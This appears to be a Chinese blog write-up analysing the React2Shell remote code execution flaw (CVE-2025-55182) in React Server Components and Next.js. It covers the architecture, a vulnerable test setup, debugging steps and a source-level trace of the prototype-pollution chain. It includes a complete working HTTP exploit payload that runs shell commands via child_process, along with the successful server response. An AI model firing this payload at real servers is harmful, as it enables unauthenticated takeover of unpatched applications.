前言 开摆。
漏洞信息 漏洞的基本信息来自腾讯元宝的回答。
基本信息
漏洞名称:React2Shell(CVE-2025-55182)
CVSS评分:10.0(最高风险等级)
漏洞类型:远程代码执行(RCE)
利用前提:无需身份认证
核心问题:React Server Components的Flight协议存在不安全反序列化
影响范围 此漏洞的影响范围相当广泛,主要波及基于React Server Components构建的应用。
React核心包:react-server-dom-webpack、react-server-dom-parcel、react-server-dom-turbopack的19.0.0至19.2.0版本均受影响。安全版本为19.0.1,19.1.2,19.2.1及更高版本。
Next.js框架:使用App Router的Next.js框架受影响严重,包括>=14.3.0-canary.77、>=15和>=16版本(独立漏洞编号CVE-2025-66478)。
其他框架:React Router、Waku、RedwoodJS、Vite、Parcel等使用了RSC实现的框架或插件也可能受到影响。
豁免情况:纯客户端渲染(CSR)、无RSC的传统SSR、静态导出(output:’export’)的Next.js项目、React 18及以下无RSC能力的版本不受影响。
漏洞原理 该漏洞的根源在于React Server Components架构中的Flight协议在处理客户端传来的数据时,存在致命的不安全反序列化问题。
不安全的反序列化:RSC通过Flight协议在客户端和服务端传输数据。当服务端解析客户端发送的序列化数据时,其requireModule函数没有对模块路径进行充分的合法性校验,并且缺少关键的hasOwnProperty检查。这使得攻击者可以构造恶意的数据包。
原型链污染:攻击者通过特殊构造的字段名(如$1:__proto__:then或$1:constructor:constructor),能够污染对象的原型链。这好比伪造了一把钥匙的模具,能批量生成可以打开特定锁的钥匙。
获取代码执行能力:通过原型链污染,攻击者可以劫持程序执行流程,最终访问到JavaScript的全局Function构造函数。这相当于拿到了一个可以在服务端动态执行代码的“万能钥匙”。
触发远程代码执行:当React处理特定的Blob引用(如$B1337)时,会使用已被污染的_formData.get方法(此时已是Function构造函数)来执行_prefix中的恶意代码字符串,从而实现远程代码执行。
环境搭建 漏洞发生在React Server Components(RSC)架构,这是一种与Server Side Rendering(SSR)、Client Side Rendering(CSR)不同的架构,
React架构 CSR 根据参考文章介绍,当用户访问网站时,会收到一个HTML启动器,里面只有短短数行代码,用于加载JavaScript在客户端完成DOM节点构造、页面渲染等工作:
1 2 3 4 5 6 7 <!DOCTYPE html > <html > <body > <div id ="root" > </div > <script src ="/static/js/bundle.js" > </script > </body > </html >
CSR架构会将React、其他的第三方依赖和项目的所以代码都打包到bundle.js文件里,用户下载和解析该文件后,React会开始执行,转化项目的所有node节点,并将他们注入到空节点<div id=’root’>中。
在这架构下,用户一开始只会看到一个空白的页面。随着时间的推移,这种现象会变得越来越明显,因为每一次新特性的迭代、新功能的开发,都会带来一些额外的字节体积到bundle.js,进而就会延长用户需要等待的时间。同时,由于还没有从后端取得用于展示的数据,所以页面只能渲染一些加载状态的骨架(头部,底部和一些通用的layout)。
SSR SSR的设计就是用来改善用户的等待情况的,在这种架构下,相较于CSR只会发送一个空的HTML页面,SSR会在服务端先进行一次渲染工作,从而生成一个成型的HTML页面,之后再下载JavaScript来完成事件绑定等工作。
RSC 但是上述两种方式都有一个问题,那就是页面是按照先渲染框架再请求数据的顺序来执行的,这其中存在两次前后端交互行为,在获取数据期间,用户只能看到一个加载状态的页面,直到数据返回并重新渲染页面。
为了解决这个问题,React提出了React Server Components(RSC),引入了服务端组件。服务端组件将本来该下载JavaScript后再进行的请求数据和数据库查询操作,提前到了最开始,用户最早接收到的就是一个已经渲染好数据的页面。服务端组件不会重新渲染,它们只会在服务端执行一次来生成UI,渲染的结果会被锁定并发送给客户端。就React而言,这个结果是不可变的,也永不会变。
一个服务端组件如下,它们会在服务端执行,简单总结就是完成数据库查询操作,并生成包含实际数据的HTML片段给用户:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 export default async function NoteList ({searchText} ) { const notes = ( await db.query ( `select * from notes where title ilike $1 order by id desc` , ['%' + searchText + '%' ] ) ).rows ; return notes.length > 0 ? ( <ul className ="notes-list" > {notes.map((note) => ( <li key ={note.id} > <SidebarNote note ={note} /> </li > ))} </ul > ) : ( <div className ="notes-empty" > {searchText ? `Couldn't find any notes titled "${searchText}".` : 'No notes created yet!'}{' '} </div > ); }
既然服务端组件不可变,那自然也需要一个可变的组件来实现交互和重新渲染的功能,比如客户端组件,它们会被打包发送到客户端,一个客户端组件大概这个样子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 'use client' ;export default function EditButton ({noteId, children} ) { const [isPending, startTransition] = useTransition (); const {navigate} = useRouter (); const isDraft = noteId == null ; return ( <button className ={[ 'edit-button ', isDraft ? 'edit-button--solid ' : 'edit-button--outline ', ].join (' ')} disabled ={isPending} onClick ={() => { startTransition(() => { navigate({ selectedId: noteId, isEditing: true, }); }); }} role="menuitem"> {children} </button > ); }
React官方的给出了一个简易的RSC项目 ,看看代码可以对React的RSC架构有更清晰的认识。
漏洞复现 可以使用前面提到的官方简易项目做测试,然而整个项目还是做些简易功能,有不少代码,甚至还带了数据库,着实没有那么方便。根据参考文章,可以通过npm简单构造一个Next.js项目来做测试。
安装好NodeJS语言环境后,使用npm构造Next.js项目:
1 npm create next-app@16.0.6 cve-2025-55182 -y
然后通过WebStorm等工具启动,或者使用命令启动:
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST / HTTP/1.1 Host : localhost:3000User-Agent : Mozilla/5.0Next-Action : xContent-Type : multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3SadContent-Length : 568Content-Disposition: form-data; name ="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1 ,"value":"{\"then \":\"$B0\"}","_response":{"_prefix":"var o=Buffer.from(process.mainModule.require('child_process').execSync('dir')).toString('base64');var e=new Error();e.digest='NEXT_REDIRECT;push;http://x/'+o+';307;';throw e;","_formData":{"get":"$1:constructor:constructor"}}} Content-Disposition: form-data; name ="1" "$@0"
可以看到:
1 2 3 4 5 6 7 8 HTTP/1.1 303 See OtherVary : rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetchCache-Control : no-store, must-revalidatex-action-redirect : http://x/目录文件名们;pushDate : Thu, 14 May 2026 12:37:21 GMTConnection : keep-aliveKeep-Alive : timeout=5Content-Length : 0
漏洞利用成功。
漏洞分析 React Flight协议 询问AI,得到的结果为该协议是React团队为React Server Components(RSC)设计的自定义流式序列化协议,专门用于在服务端和客户端之间高效传输React组件树、数据和引用,结构上类似JSON。
相比JSON,普通JSON在传输React组件时存在局限性:
1 2 3 4 5 6 7 8 9 10 { "user" : { "name" : "Alice" } , "posts" : [ { "author" : { "name" : "Alice" } } ] } 0 : { "name" : "Alice" } 1 : { "author" : "$0" } 2 : { "user" : "$0" , "posts" : [ "$1" ] }
特殊引用符号:
$@:Chunk引用(Promise → “$@1”)
$K:FormData引用(FormData → “$K1”)
$B:Blob引用(Blob → “$B1”)
还有$1这种写法,在React Flight协议中,$1和$@1都是引用符号,但它们的核心区别在于引用的目标类型和语义完全不同,$1引用的是普通的模型数据(JSON可序列化的值),引用之前已经传输过的、确定的、静态的数据块:
1 2 0 : { "id" : 123 , "name" : "Alice" } # Chunk 0 :传输了用户Alice的数据1 : { "author" : "$0" , "title" : "Hello" } # Chunk 1 :通过 `$0 ` 引用Chunk 0 的数据,而不是重新传输一遍
而$@1引用的是一个Promise(代表异步任务或惰性加载的数据流),引用一个 异步数据流。这个数据可能还没准备好,需要后续传输:
1 2 3 0 : [ "$@1" ] # Chunk 0 :根组件需要一些数据,告诉客户端“去 `$@1 ` 这个Promise里找” ...(客户端开始渲染不依赖此数据的部分)...1 : "This is the resolved async data" # Chunk 1 (稍后到达):解决(resolve)了ID为1 的Promise,数据到达
当客户端解析 [“$@1”]时,它会创建一个Promise,并订阅流中ID为1的后续消息。当收到1:”This is the resolved async data”时,就用这个字符串值来解决之前创建的Promise。
Next.js作为React的官方推荐框架,深度集成了Flight协议:
当用户触发Server Action(如提交表单)时,浏览器发送POST请求
Next.js服务端接收请求后,使用相应的解码器(如decodeReplyFromBusboy)解析Flight协议字符串
将字符串还原为JavaScript对象,执行服务端逻辑
结果通过Flight协议流式传输回浏览器
断点调试 断点可以直接下在app/page.tsx里,但是启动调试服务器,并通过bp、浏览器等方式访问后,根据断点跟踪的调用栈会走到webpack文件里,下不了断点,捣鼓了半天搞不懂,只能换个法子调试了。
谷歌一下找到了参考文章,里面也提到了这种基于浏览器的调试方式,其优点在于环境搭建简单,无需使用专门的编译调试软件。缺点在于只能在打包后的代码文件经SourceMap映射后得到的源码处设置断点,无法直接在Next.js框架源码文件上设置断点。
想要调试就要启用–inspect标志,这是是Node.js的一个核心调试标志,用于启用基于Chrome DevTools协议的调试器。它允许你使用图形化界面(如Chrome浏览器或 VS Code)对Node.js应用进行完整的源码调试、性能分析和内存检查。启动时,Node.js会开启一个WebSocket服务器,监听一个指定的端口(默认9229),并输出一个可点击的调试URL。
在Windows系统上,还需要先安装cross-env,这是一个用于解决在不同操作系统(如 Windows、macOS 和 Linux)中设置环境变量的兼容性问题的npm包:
1 npm install -g cross-env
然后修改package.json,在启动命令添加cross-env和–inspect标志:
1 2 3 4 "scripts" : { "dev" : "cross-env NODE_OPTIONS='--inspect' next dev" , ...} ,
然后启动:
终端会打印出监听端口相关的信息:
1 2 3 4 5 6 7 8 9 Debugger listening on ws:For help, see: https: Debugger listening on ws:For help, see: https: [baseline-browser-mapping] The data in this module is over two months old . To ensure accurate Baseline data, please update: `npm i baseline-browser-mapping@latest -D` ▲ Next.js 16.0 .6 (Turbopack) - Local: http: - Network: http: - Debugger port: 9230
分别是:
3000:Web应用服务的端口
9229:dev模式下服务器守护进程的调试端口
9230:应用进程的调试端口
然后在chrome浏览器打开chrome://inspect/,可以看到Remote Target,不过我这里只有9229端口的目标,所以需要点击Configure按钮,添加上9230端口的目标,该端口关联的是start-server.js。
然后点击9230端口目标下面的inspect按钮打开DevTools窗口,转到Sources窗口就可以开始调试了。此外,由于Chrome浏览器调试默认不会加载node_modules目录下的SourceMap映射,因此还需要在源代码调试页面右上角点击设置按钮,在Ignore listing项页面中,点击Enable ignore listing项前的勾选框去除勾选。
最后在打开的DevTools窗口里,找到react-server-dom-turbopack-server.node.development.js文件,给decodeReplyFromBusboy方法内部下个断点,尝试发包调试,就可以触发断点了。
此外,还有基于vscode的调试方式 ,更多关于Next.js源码的开发、构建、测试等官方文档参见Contributing to Next ,以后如果要用到再说。
分析 入口点为ReactFlightDOMServerNode.js文件中的decodeReplyFromBusboy函数,其中解析字段的代码段如下:
1 2 3 4 5 busboyStream.on ("field" , function (name, value ) { 0 < pendingFiles ? queuedFields.push (name, value) : resolveField (response, name, value); });
调用resolveField函数开始处理包体,此时的name和value分别为0和我们属于的一大段payload:
1 2 3 4 5 6 7 8 function resolveField (response, key, value ) { response._formData .append (key, value); var prefix = response._prefix ; key.startsWith (prefix) && ((response = response._chunks ), (key = +key.slice (prefix.length )), (prefix = response.get (key)) && resolveModelChunk (prefix, value, key)); }
再进入到resolveModelChunk函数,此时的prefix放置着的chunk0的一些信息,包括我们payload中含有的status和reason,猜测其中有所关联:
1 2 3 4 5 6 7 8 9 10 11 12 var resolveListeners = chunk.value , rejectListeners = chunk.reason ; chunk.status = "resolved_model" ; chunk.value = value; chunk.reason = id;if (null !== resolveListeners) switch ((initializeModelChunk (chunk), chunk.status )) { case "fulfilled" : wakeChunk (resolveListeners, chunk.value ); break ; ... }
将key和value也放入chunk中,再进入initializeModelChunk函数开始解析包体数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... resolvedModel = chunk.value ; chunk.status = "cyclic" ; chunk.value = null ; chunk.reason = null ;try { var rawModel = JSON .parse (resolvedModel), value = reviveModel ( chunk._response , { "" : rawModel }, "" , rawModel, rootReference ); ... }
通过JSON解析将包体数据解析为对象:
1 2 3 4 5 6 7 8 9 10 11 12 { "then" : "$1:__proto__:then" , "status" : "resolved_model" , "reason" : -1 , "value" : "{\"then\":\"$B0\"}" , "_response" : { "_prefix" : "var o=Buffer.from(process.mainModule.require('child_process').execSync('dir')).toString('base64');var e=new Error();e.digest='NEXT_REDIRECT;push;http://x/'+o+';307;';throw e;" , "_formData" : { "get" : "$1:constructor:constructor" } } }
数据结构跟chunk是相近的,也就是说这里伪造了一个chunk对象,然后进入reviveModel函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if ("object" === typeof value && null !== value) for (i in value) hasOwnProperty.call (value, i) && ((parentObj = void 0 !== reference && -1 === i.indexOf (":" ) ? reference + ":" + i : void 0 ), (parentObj = reviveModel ( response, value, i, value[i], parentObj )),
当输入的value为对象时,会遍历其中的内容并嵌套调用reviveModel函数,如”then”: “$1:__proto__:then”这一对键值对会被拆解成then和$1:__proto__:then,然后回到reviveModel函数开头,进入分支解析仍是字符串的值:
1 2 3 4 5 6 7 8 if ("string" === typeof value) return parseModelString ( response, parentObj, parentKey, value, reference );
再进入parseModelString函数,此时parentObj为之前JSON解析出来的对象,parentKey为then:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 function parseModelString (response, obj, key, value, reference ) { if ("$" === value[0 ]) { switch (value[1 ]) { case "$" : ... case "@" : ... case "F" : ... case "T" : ... case "Q" : ... case "W" : ... case "K" : ... case "i" : ... case "I" : ... case "-" : ... case "N" : ... case "u" : ... case "D" : ... case "n" : ... } switch (value[1 ]) { case "A" : ... case "O" : ... case "o" : ... case "U" : ... case "S" : ... case "s" : ... case "L" : ... case "l" : ... case "G" : ... case "g" : ... case "M" : ... case "m" : ... case "V" : ... case "B" : ... } switch (value[1 ]) { case "R" : ... case "r" : ... case "X" : ... case "x" : ... } value = value.slice (1 ); return getOutlinedModel (response, value, obj, key, createModel); } ... }
在第一个字符为$的情况下,会开始一大段对第二个字符的switch筛选,而此时的value为$1:__proto__:then,第二个字符为1,不符合任何一个筛选,因此会进入getOutlinedModel函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 function getOutlinedModel (response, reference, parentObject, key, map ) { reference = reference.split (":" ); var id = parseInt (reference[0 ], 16 ); id = getChunk (response, id); switch (id.status ) { case "resolved_model" : initializeModelChunk (id); } switch (id.status ) { case "fulfilled" : parentObject = id.value ; for (key = 1 ; key < reference.length ; key++) parentObject = parentObject[reference[key]]; return map (response, parentObject); case "pending" : case "blocked" : case "cyclic" : var parentChunk = initializingChunk; id.then ( createModelResolver ( parentChunk, parentObject, key, "cyclic" === id.status , response, map, reference ), createModelReject (parentChunk) ); return null ; default : throw id.reason ; } }
reference即$1:__proto__:then,这个函数用于处理第一个字符为$且第二个字符为数字的情况,这种情况会被认为是在外联一个其他chunk,将reference根据冒号:拆成三部分,就会根据$1调用getChunk函数获取chunk1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function getChunk (response, id ) { var chunks = response._chunks , chunk = chunks.get (id); chunk || ((chunk = response._formData .get (response._prefix + id)), (chunk = null != chunk ? new Chunk ("resolved_model" , chunk, id, response) : response._closed ? new Chunk ("rejected" , null , response._closedReason , response) : createPendingChunk (response)), chunks.set (id, chunk)); return chunk; }
由于现在还在处理chunk0,chunk1还未生成,因此会生成一个占位的pending chunk返回到id变量,然后进入switch筛选,最后调用id.then函数注册回调,使用createModelResolver函数生成回调函数,等到chunk1生成完成后再回过头来。同样的,”get”: “$1:constructor:constructor”也会有同样的流程。
处理完成chunk0除then以外的键值对后,开始处理chunk1,走到parseModelString函数,由于此时的value为$@0,因此会走入这个分支:
1 2 3 4 case "@" : return ( (obj = parseInt (value.slice (2 ), 16 )), getChunk (response, obj) );
引用了chunk0,并通过getChunk函数获取到chunk0,此时的chunk0为blocked状态,回到resolveModelChunk函数,调用wakeChunk开始回调之前createModelResolver函数生成的回调函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 return function (value ) { for (var i = 1 ; i < path.length ; i++) value = value[path[i]]; parentObject[key] = map (response, value); "" === key && null === blocked.value && (blocked.value = parentObject[key]); blocked.deps --; 0 === blocked.deps && "blocked" === chunk.status && ((value = chunk.value ), (chunk.status = "fulfilled" ), (chunk.value = blocked.value ), null !== value && wakeChunk (value, blocked.value )); };
此时的path为之前chunk0外联chunk1时留下来的:
1 2 3 4 5 [ "1" , "__proto__" , "then" ]
因此第一句遍历结束后,value就会变成Chunk.__proto__.then,再通过map函数,将包体数据解析出来的对象里面的then成员换成了Chunk.__proto__.then方法。同样的,_response -> _formData -> get也会被换成Chunk.constructor.constructor,即Function构造函数,以后调用get函数就会变成调用Function构造函数,生成一个新的自定义方法。
至此,被放置在chunk0.value中的包体数据就会被构造成:
1 2 3 4 5 6 7 8 9 10 11 12 { "then" : Chunk.__proto__.then, "status" : "resolved_model" , "reason" : -1 , "value" : "{\"then\":\"$B0\"}" , "_response" : { "_prefix" : "var o=Buffer.from(process.mainModule.require('child_process').execSync('dir')).toString('base64');var e=new Error();e.digest='NEXT_REDIRECT;push;http://x/'+o+';307;';throw e;" , "_formData" : { "get" : Function } } }
根据参考文章所说,这是一个伪造的thenable对象,而且是一个合法的Chunk对象,各属性均为Chunk对象可持有的。
当在wakeChunk方法或根Chunk对象的then方法中对其调用resolve方法后,会调用该构造Chunk对象的then方法:
1 2 3 4 5 6 Chunk .prototype .then = function (resolve, reject ) { switch (this .status ) { case "resolved_model" : initializeModelChunk (this ); } }
由于status被构造为resolved_model,因此会进入initializeModelChunk -> reviveModel -> parseModelString函数,由于此时value为,因此会进入这个分支:
1 2 3 4 5 case "B" : return ( (obj = parseInt (value.slice (2 ), 16 )), response._formData .get (response._prefix + obj) );
由于get已经被覆盖为了Function,因此会根据我们输入的_prefix构造出一个新的方法并返回,方法内容就是:
1 var o=Buffer .from (process.mainModule .require ('child_process' ).execSync ('dir' )).toString ('base64' );var e=new Error ();e.digest ='NEXT_REDIRECT;push;http://x/' +o+';307;' ;throw e;0
该自定义函数被写回了value键里,在调用initializeModelChunk函数处理完resolved_model的Chunk后,Chunk的then方法还有这么一段:
1 2 3 case "fulfilled" : resolve (this .value ); break ;
因为this.value带有then方法,被视作一个thenable对象,然后通过resolve函数触发其then函数,恶意代码被执行,实现RCE。
回过头去看第一次then的调用,找到decodeReplyFromBusboy函数的返回值和被调用的地方:
1 2 3 4 5 6 7 8 9 return getChunk (response, 0 ); boundActionArguments = await decodeReplyFromBusboy ( busboy, serverModuleMap, { temporaryReferences } )
存在一个await Chunk0的行为,根据调用栈猜测因此会调用Chunk.__proto__.then方法处理Chunk0,再在其中调用resolve处理value,导致了then函数的第一次调用。
补充一下,根据参考文章对于Promise的说法:
1 2 3 4 5 6 Promise 对象表示异步操作最终的完成(或失败)以及其结果值。异步操作不会立即返回最终值,而是返回一个Promise 对象,以便在将来的某个时间点提供该值。一个Promise 对象必然处于以下几种状态之一: - 待定(pending):初始状态,既没有被兑现,也没有被拒绝; - 已兑现(fulfilled):意味着操作成功完成,会返回一个结果值; - 已拒绝(rejected):意味着操作失败,会返回一个原因(错误)。 当Promise 对象的状态变为被兑现或拒绝,其实例的then 方法将被调用。then 方法最多接收两个参数:分别用于Promise 对象兑现和拒绝情况的resolve以及reject回调函数,在状态改变时会根据状态调用不同的回调函数返回结果值。
以及对于React内部Chunk对象的状态的解释:
1 2 React内部对于Chunk对象的处理就是通过状态机来实现的。其status属性表示了当前Chunk对象的状态,取值有RESOLVED_MODEL、CYCLIC、INITIALIZED等。根据不同的状态,又有不同的实现,如ResolvedModelChunk对象、CyclicChunk对象以及InitializedChunk对象等;value属性根据当前状态的不同,存储了原始表单数据、数据解析后的对象、resolve监听器数组等;reason属性根据当前状态的不同,存储了表单字段key键或reject 原因,或reject 监听器数组等;_response属性则存储了该Chunk对象对应的Response对象。 Chunk对象的的then方法首先会判断当前Chunk对象的状态,如果当前Chunk对象的状态为RESOLVED_MODEL,则会调用initializeModelChunk方法进行初始化和解析。初始化后,Chunk对象的状态会发生改变,因此再次判断Chunk对象的状态。如果Chunk对象的状态为INITIALIZED,则调用resolve回调函数,传入解析后的value属性值;如果Chunk对象的状态为PENDING、BLOCKED或者CYCLIC,则将当前resolve回调函数与reject 回调函数作为监听器存储进相应的value属性与reason属性的数组中;否则说明解析出错,调用reject 回调函数,传入reason属性值。
参考文章写的INITIALIZED状态在我这里就是fulfilled,原因不明。
参考 一篇掌握React Server Components
深入剖析 React Server Components:原理、应用与性能优势
React2Shell (CVE-2025-55182) 漏洞分析
CVE-2025-55182 - Real React Server Components RCE POC
React Server Components (CVE-2025-55182)远程代码执行漏洞从环境搭建到漏洞复现
CVE-2025-55182